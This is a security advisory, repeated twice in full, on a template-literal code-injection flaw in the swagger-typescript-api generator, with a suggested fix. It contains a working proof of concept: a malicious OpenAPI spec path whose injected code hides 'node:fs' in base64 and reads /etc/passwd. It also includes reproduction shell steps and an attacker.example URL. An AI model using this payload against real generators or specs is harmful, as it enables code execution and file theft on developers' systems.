### Summary `swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ … }` survives `parseRouteName`'s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \`...\`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client. ### Details `parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations: ```ts const pathParamMatches = (routeName || "").match( /({[\w[\\\]^`][-_.\w]*})|(:[\w[\\\]^`][-_.\w]*:?)/g, ); // ... return fixedRoute.replace(pathParam.$match, `\${${insertion}}`); ``` The regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged. The resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`): ```ejs path: `<%~ path %>`, ``` The `<%~ %>` is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${…}` inside the path becomes a live JS expression evaluated when the method's `path` template is evaluated — i.e. at every call to the affected method. Generated method body for a malicious spec path: ```ts evilCall: (params: RequestParams = {}) => this.request<void, any>({ path: `/api/${(async () => { // ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall() // — full Node.js capabilities: dynamic import('node:fs'), child_process, // network egress, environment access, etc. })()}/items`, method: "GET", ...params, }), ``` Biome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly. **Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from('bm9kZTpmcw==','base64').toString()` — base64 contains no `:`, decodes to `'node:fs'` at runtime, and dodges the rewrite entirely. ### PoC Self-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed `this.request` so there is no real network egress → check canary) is added in comments. Tested on `[email protected]` and Node `v24.11.1`. **Malicious OpenAPI path** (literal string, JSON-encoded in the spec below): ``` /api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items ``` **Minimal payload spec:** ```json { "openapi": "3.0.0", "info": { "title": "PathPayloadAPI", "version": "1.0.0" }, "servers": [{ "url": "https://api.example.com" }], "paths": { "/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": { "get": { "operationId": "evilCall", "responses": { "200": { "description": "OK" } } } } } } ``` **Steps:** ```bash npm install [email protected] esbuild node -e "import('swagger-typescript-api').then(m => m.generateApi({ name: 'Api.ts', output: process.cwd() + '/out', input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch' }))" npx esbuild out/Api.ts --bundle --format=esm --platform=node \ --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs rm -f /tmp/sta_canary node --input-type=module -e " const mod = await import('./out/Api.bundle.mjs'); const api = new mod.Api(); // Stub the request implementation so there is no real network call — // only the path template literal is evaluated, which is what fires the IIFE. api.request = async () => ({ ok: true }); const group = api.api; await group[Object.keys(group)[0]](); await new Promise(r => setTimeout(r, 300)); " ls -la /tmp/sta_canary && cat /tmp/sta_canary ``` **Generated `out/Api.ts` (method body — payload, Biome-formatted):** ```ts evilCall: (params: RequestParams = {}) => this.request<void, any>({ path: `/api/${(async () => { try { const m = Buffer.from("bm9kZTpmcw==", "base64").toString(); const f = await import(m); const d = f.readFileSync("/etc/passwd", "utf8"); f.writeFileSync("/tmp/sta_canary", d); } catch (e) {} return "x"; })()}/items`, method: "GET", ...params, }), ``` The IIFE is a real JavaScript expression inside the `path` template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. **Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `"/api/users/{id}/items"`) generates `path: \`/api/users/${id}/items\``, the IIFE never appears, and the canary is not written. ### Impact **Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336). **Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely: - `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec. - A CI/CD pipeline regenerating clients from a vendor / partner spec on each build. - A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs. - Any project where a contributor can modify the pinned spec via pull request. **Lifecycle:** the injected expression fires **per method call** — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: "fetch"` (default) and `httpClientType: "axios"`, both `default/` and `modular/` template sets — any path-bearing operation in the spec is a candidate. **Privilege:** the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc. **Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces — any backtick, `${`, or `\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data. Submitted by: Hamza Haroon (thegr1ffyn)

### Summary `swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ … }` survives `parseRouteName`'s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \`...\`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client. ### Details `parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations: ```ts const pathParamMatches = (routeName || "").match( /({[\w[\\\]^`][-_.\w]*})|(:[\w[\\\]^`][-_.\w]*:?)/g, ); // ... return fixedRoute.replace(pathParam.$match, `\${${insertion}}`); ``` The regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged. The resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`): ```ejs path: `<%~ path %>`, ``` The `<%~ %>` is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${…}` inside the path becomes a live JS expression evaluated when the method's `path` template is evaluated — i.e. at every call to the affected method. Generated method body for a malicious spec path: ```ts evilCall: (params: RequestParams = {}) => this.request<void, any>({ path: `/api/${(async () => { // ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall() // — full Node.js capabilities: dynamic import('node:fs'), child_process, // network egress, environment access, etc. })()}/items`, method: "GET", ...params, }), ``` Biome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly. **Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from('bm9kZTpmcw==','base64').toString()` — base64 contains no `:`, decodes to `'node:fs'` at runtime, and dodges the rewrite entirely. ### PoC Self-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed `this.request` so there is no real network egress → check canary) is added in comments. Tested on `[email protected]` and Node `v24.11.1`. **Malicious OpenAPI path** (literal string, JSON-encoded in the spec below): ``` /api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items ``` **Minimal payload spec:** ```json { "openapi": "3.0.0", "info": { "title": "PathPayloadAPI", "version": "1.0.0" }, "servers": [{ "url": "https://api.example.com" }], "paths": { "/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": { "get": { "operationId": "evilCall", "responses": { "200": { "description": "OK" } } } } } } ``` **Steps:** ```bash npm install [email protected] esbuild node -e "import('swagger-typescript-api').then(m => m.generateApi({ name: 'Api.ts', output: process.cwd() + '/out', input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch' }))" npx esbuild out/Api.ts --bundle --format=esm --platform=node \ --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs rm -f /tmp/sta_canary node --input-type=module -e " const mod = await import('./out/Api.bundle.mjs'); const api = new mod.Api(); // Stub the request implementation so there is no real network call — // only the path template literal is evaluated, which is what fires the IIFE. api.request = async () => ({ ok: true }); const group = api.api; await group[Object.keys(group)[0]](); await new Promise(r => setTimeout(r, 300)); " ls -la /tmp/sta_canary && cat /tmp/sta_canary ``` **Generated `out/Api.ts` (method body — payload, Biome-formatted):** ```ts evilCall: (params: RequestParams = {}) => this.request<void, any>({ path: `/api/${(async () => { try { const m = Buffer.from("bm9kZTpmcw==", "base64").toString(); const f = await import(m); const d = f.readFileSync("/etc/passwd", "utf8"); f.writeFileSync("/tmp/sta_canary", d); } catch (e) {} return "x"; })()}/items`, method: "GET", ...params, }), ``` The IIFE is a real JavaScript expression inside the `path` template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. **Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `"/api/users/{id}/items"`) generates `path: \`/api/users/${id}/items\``, the IIFE never appears, and the canary is not written. ### Impact **Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336). **Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely: - `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec. - A CI/CD pipeline regenerating clients from a vendor / partner spec on each build. - A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs. - Any project where a contributor can modify the pinned spec via pull request. **Lifecycle:** the injected expression fires **per method call** — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: "fetch"` (default) and `httpClientType: "axios"`, both `default/` and `modular/` template sets — any path-bearing operation in the spec is a candidate. **Privilege:** the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc. **Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces — any backtick, `${`, or `\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data. Submitted by: Hamza Haroon (thegr1ffyn)